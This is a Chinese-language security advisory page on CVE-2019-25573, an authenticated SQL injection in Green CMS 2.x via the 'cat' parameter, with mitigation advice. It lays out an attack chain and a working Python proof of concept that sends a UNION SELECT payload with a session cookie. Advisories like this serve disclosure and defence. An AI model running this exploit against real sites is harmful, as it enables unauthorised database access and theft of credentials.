IPBUF安全漏洞报告
English
CVE-2019-25573 CVSS 7.1 高危

CVE-2019-25573 Green CMS SQL注入漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25573
漏洞类型
SQL注入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Green CMS

相关标签

SQL注入Green CMSCVE-2019-25573Web安全高危漏洞认证后注入

漏洞概述

Green CMS 2.x版本中存在一个SQL注入漏洞。由于系统未能正确过滤用户输入,经过身份验证的攻击者可以通过在向index.php发送的GET请求中操作‘cat’参数来注入恶意SQL代码。该请求的参数包含m=admin, c=posts, a=index。成功利用此漏洞可能导致攻击者操纵数据库查询,进而提取敏感信息、修改数据或绕过某些访问控制。

技术细节

该漏洞源于Green CMS后台管理模块对‘cat’参数的处理缺乏足够的输入验证和安全过滤。当已登录用户访问文章列表页面(index.php?m=admin&c=posts&a=index)时,应用程序直接将‘cat’参数的值拼接到SQL查询语句中,而没有使用预处理语句或进行严格的类型检查。攻击者可以利用这一缺陷构造包含UNION SELECT或其他SQL语法的恶意Payload。由于CVSS向量显示权限要求为低(PR:L),这意味着即使是低权限账户也可以利用此漏洞。通过盲注或联合查询,攻击者可以读取数据库中的管理员密码哈希、用户信息等敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统为Green CMS,并确认版本为2.x。
STEP 2
2. 获取凭证
攻击者通过注册、弱口令猜测或社会工程学获取一个低权限的账户凭证。
STEP 3
3. 发送恶意请求
攻击者使用获取的Session登录,并向index.php发送带有m=admin, c=posts, a=index参数的GET请求,在cat参数中注入SQL Payload。
STEP 4
4. 执行SQL注入
服务器端未过滤cat参数,直接执行攻击者构造的恶意SQL语句(如UNION SELECT)。
STEP 5
5. 数据提取
攻击者基于SQL查询结果获取敏感信息(如管理员密码、用户数据)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2019-25573 # Target: Green CMS 2.x # Description: SQL Injection via 'cat' parameter in index.php # Note: Requires authentication (Low privilege user) import requests def exploit_green_cms(target_url, session_cookie): """ Exploit the SQL injection vulnerability in Green CMS. """ # The vulnerable endpoint url = f"{target_url}/index.php" # Headers with the authenticated session cookie cookies = { "PHPSESSID": session_cookie } # Malicious payload to test SQL injection (e.g., extracting database version) # Payload: 'cat=1 UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -' payload = "1 UNION SELECT 1,2,version(),4,5,6,7,8,9,10-- -" params = { "m": "admin", "c": "posts", "a": "index", "cat": payload } try: response = requests.get(url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response content for database version output.") # In a real scenario, you would parse the HTML to extract the data print("[+] Response snippet:") print(response.text[500:1000]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace these values with actual target and session TARGET = "http://localhost" SESSION_ID = "vulnerable_session_id" exploit_green_cms(TARGET, SESSION_ID)

影响范围

Green CMS 2.x

防御指南

临时缓解措施
在未升级修复前,建议限制后台管理页面的访问来源IP,仅允许内网或受信任的IP访问。同时,加强账户安全策略,强制要求使用强密码,并定期审计系统日志以检测异常的数据库查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表